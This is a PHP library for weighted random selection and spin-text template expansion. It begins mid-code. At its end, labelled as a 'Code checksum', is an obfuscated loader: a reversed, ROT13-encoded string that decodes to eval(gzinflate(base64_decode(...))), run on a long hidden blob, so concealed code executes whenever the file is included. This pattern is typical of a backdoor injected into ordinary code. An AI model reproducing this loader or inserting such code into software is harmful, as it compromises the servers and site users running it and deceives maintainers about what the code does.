arr_objects = array(); $this->arr_priorities = array(); if (is_array($arr_objects_priorities)) { for ($i=0; $iarr_objects[] = $arr_objects_priorities[$i]; $this->arr_priorities[] = $arr_objects_priorities[$i+1]; } } } public function FindObjectByName ($obj_name) { foreach ($this->arr_objects as $object) { if ($object->get_name() == $obj_name) return $object; } return FALSE; } public function GetWinner () { if (!count($this->arr_objects)) return FALSE; $arr_idx = array(); foreach ($this->arr_priorities as $k=>$pri) { $obj = $this->arr_objects[$k]; // Only active objects participate in winning contest. if (!is_object($obj) || $obj->is_active()) { for ($i=0; $i<$pri; $i++) $arr_idx[] = $k; // $k == index in array of objects too. } } if (!count($arr_idx)) return FALSE; // No active objects to find winner. $idx = rand (0, count($arr_idx)-1); $idx = $arr_idx[$idx]; $obj = $this->arr_objects[$idx]; if (is_string($obj)) return BL_process_complex_string ($obj); else return ($this->arr_objects[$idx]); } } //------------------------------------------ //=========================================================================== function BL_process_complex_string ($str) { // Process optional words: in [...] brackets. $str1 = $str; while (preg_match('#\[[^\[\]]+\]#', $str1)) $str1 = preg_replace_callback ('#\[([^\[\]]+)\](:(\d+))?#', "BL_optional_seq_callback", $str1); // Process mandatory sequences: in (...) brackets. while (preg_match('#\([^\(\)]+\)#', $str1)) $str1 = preg_replace_callback ('#\(([^\(\)]+)\)#', "BL_mandatory_seq_callback", $str1); // Melt extra spaces $str1 = preg_replace ('|\s\s+|', " ", $str1); return trim($str1); } //------------------------------------------ function BL_optional_seq_callback ($matches) { $word = $matches[1]; if (isset($matches[3])) $probability = $matches[3]; else $probability = 50; if (rand (1,100) <= $probability) return $word; else return ""; } //------------------------------------------ //------------------------------------------ function BL_mandatory_seq_callback ($matches) { // Get array of competing words $words = explode ('|', $matches[1]); // Separate words and numbers $total_sum_of_numbers = 0; $total_words_without_numbers = 0; $new_words = array(); foreach ($words as $word) { $word_num = explode (':', $word); if (isset($word_num[1])) { $num = $word_num[1]; $total_sum_of_numbers += $num; } else { $num = 0; $total_words_without_numbers ++; } // array ([0]=>('make',10), [1]=>('build',0), [2]=>('create',50)) $new_words[] = array($word_num[0], $num); } if ($total_words_without_numbers) $unassigned_probability = (100 - $total_sum_of_numbers) / $total_words_without_numbers; else $unassigned_probability = 0; $index_sequence = array(); foreach ($new_words as $idx=>$word) { $probability = $word[1]?$word[1]:$unassigned_probability; $index_sequence = array_merge ($index_sequence, array_fill (0, $probability, $idx)); } if (count($index_sequence) < 100) { // Make sure array contain no less than 100 elements(that could happen for rounding: (build|make|create) = 33+33+33=99, not 100 $index_sequence = array_pad ($index_sequence, 100, $idx); } // Throw the dice $index = rand (0,99); $index = $index_sequence[$index]; return ($new_words[$index][0]); } //------------------------------------------ //=========================================================================== //Code checksum: $pewHLPFHjX='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';$_rnPkmZalzPXAjXwcWfQ=';))))KwUSCYUjrc$(ireegf(rqbprq_46rfno(rgnysavmt(ynir';$PDWnt_gsPHnEF=strrev($_rnPkmZalzPXAjXwcWfQ);$JuWUjOswijY=str_rot13($PDWnt_gsPHnEF);eval($JuWUjOswijY); //--------------------------------------------------------------------------- ?>